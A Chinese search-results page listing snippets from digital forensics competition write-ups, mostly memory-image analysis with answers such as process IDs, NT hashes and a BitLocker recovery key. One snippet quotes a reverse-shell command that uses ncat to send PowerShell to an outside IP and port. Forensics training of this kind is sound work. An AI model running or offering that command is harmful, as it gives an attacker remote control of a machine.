全站搜索

2026平航杯 内存取证题解析

平航杯

2026平航杯内存取证（StarMem）

平航杯

第三届 “聚合獬豸杯” 全国电子数据取证大赛【全解】

獬豸杯

命中正文 ...格式）。【答案格式：用户名-FLAG】 charlie-Telnet_PASS_FLAG{legacy_cleartext} 0x06 检材6-内存取证 背景 plain 公司某员工的电脑感染了勒索病毒，所有办公文档都被加密。安全团队在病毒仍在运行时制作了内存镜像。要求从内存镜像中提取加密密钥，...

2026 第三届聚合"獬豸杯" (write up)

第三届 “聚合獬豸杯” 全国电子数据取证大赛

命中正文 ...-FLAG】 过滤10.10.10.1，看 Telnet 协议 Telnet 协议以明文传输所有数据，是 1983 年的老协议，不重视网络安全 内存取证 1.该勒索进程的进程标识号（PID）是多少？【按实际值填写】 ransom(勒索)8804 2.受害计算机的主机名（COMPUTERNAME）...

2024美亚杯个人赛

美亚杯

命中正文 .... 网络连接问题 B. 应用程序权限被拒 C. 接收地址错误 D. 手续费不足 确实是三次失败 这边直接看看 所以失败的原因是手续费不足 选D 内存取证 内存取证我们去用lovelymem做，老好用了 59. 你根据易失性(Volatility Level)优先次序，进行内存取证分析David的...

2026盘古石预赛 计算机取证题解析

盘古石杯

命中正文 ...证等级：L1 解题思路： 用户刘洋(RID=1002)的NT哈希值为 876dfe7bd78730b7b0baaf451414de8e 来源: Volatility3 windows.hashdump.Hashdump 从内存镜像提取 与E01 secretsdump提取结果一致，双源交叉验证 证据: CM...

2026盘古石杯线下计算机

2026盘古石杯线下

命中正文 ...14:56:27 UTC 需要转化成注意格式（（ vol2 验证下，win11好像不能用 vol2 跑了，不过这里就看一个内存镜像，能用就行 volatility.exe -f E:\ExportFile\2026pangushixianxia\mem.dmp Volatility Foundation...

第四届黄河流域公安院校电子物证个人赛计算机取证

2026第四届黄河流域公安院校电子物证个人赛

命中正文 ...(ewfinfo/icat)、python-evtx、secretsdump.py、hashcat-win v7.1.2、pykeepass、Volatility3、ida、strings、stat | | 运行环境 | WSL (Windows Subsystem for Linux) + 远程Wind...

2026 第四届"盘古石杯" 晋级赛 全解(write up)

盘古石杯

命中正文 ...6302245 23. 分析刘洋ly-memdump.mem镜像，给出用户刘洋的NT哈希值？[答案格式：数字字母组合，字母小写] 方法一:美亚的内存分析工具 876dfe7bd78730b7b0baaf451414de8e 部分工具（如 pwdump / SAMInside 离线解析）对 GBK...

2026平航杯wp

平航杯

命中正文 ...PC内存镜像，识别当前正在运行且持有微信数据库解密密钥的微信进程，并提取该进程的进程标识符（PID）？【答案格式：1234】 10892 用火眼内存分析可以看到 68. 【填空题】请分析倩倩的PC内存镜像，请尝试解密微信数据库并写出message_0.db对应的微信密钥?【答案格式：60e248...

四川省大学生数据采集与分析大赛（取证赛道）初赛

四川省大学生数据采集与分析大赛（取证赛道）

命中正文 ...实际结果填写 【填空题】 找出火狐浏览器进程的退出时间为？ 格式：1970-01-01 00:00:00 UTF+08:00 【填空题】 找出该内存镜像生成时，跟随系统启动的启动项程序有几个？ 格式：1234 【填空题】 找出15172614566是谁的手机号？ 格式：张三 【填空题】 找出该内...

2026盘古石初赛wp（计算机+服务器）

盘古石杯

命中正文 ...0.分析刘洋liuyang_pc.E01检材，请给出计算机内Bitlocker加密分区恢复密钥的前6位？[答案格式:6位数字] 560615 有内存镜像，那就可以直接拿内存镜像爆破Bitlocker密码了（efdd会快很多，但是我没有破解版） 得到密码 560615-577522-342881-...

2025平航杯【新手入坑&手搓版】

2025平航杯

命中正文 0x00 前言 题目给出的附件是一个无扩展名的大文件，因此一开始不能直接默认它是磁盘镜像、压缩包或者内存镜像。正确做法是先根据文件大小、文件头、文件尾这些最基础的信息判断载体类型，再决定后续用什么工具 1. 先看文件基础信息 powershell $f = "平航杯题目" Get-Item $f...

2026平航杯

平航杯

命中正文 ...0.1 22 -i hello】 ncat.exe 156.238.239.253 1314 -e powershell 67.请分析倩倩的PC内存镜像，识别当前正在运行且持有微信数据库解密密钥的微信进程，并提取该进程的进程标识符（PID）？【答案格式：1234】 也是氪上金了 https://...

2026盘古石计算机部分

盘古石杯

命中正文 ...？[答案格式:6位数字] 560615-577522-342881-216865-242561-312356-584837-421597 这里拿内存镜像爆破Bitlocker密码  得到密码 560615-577522-342881-216865-242561-312356-584837-...

2026獬豸杯WP（全解）

獬豸杯

2026獬豸杯

2026獬豸杯

2025数证杯初赛WP

数证杯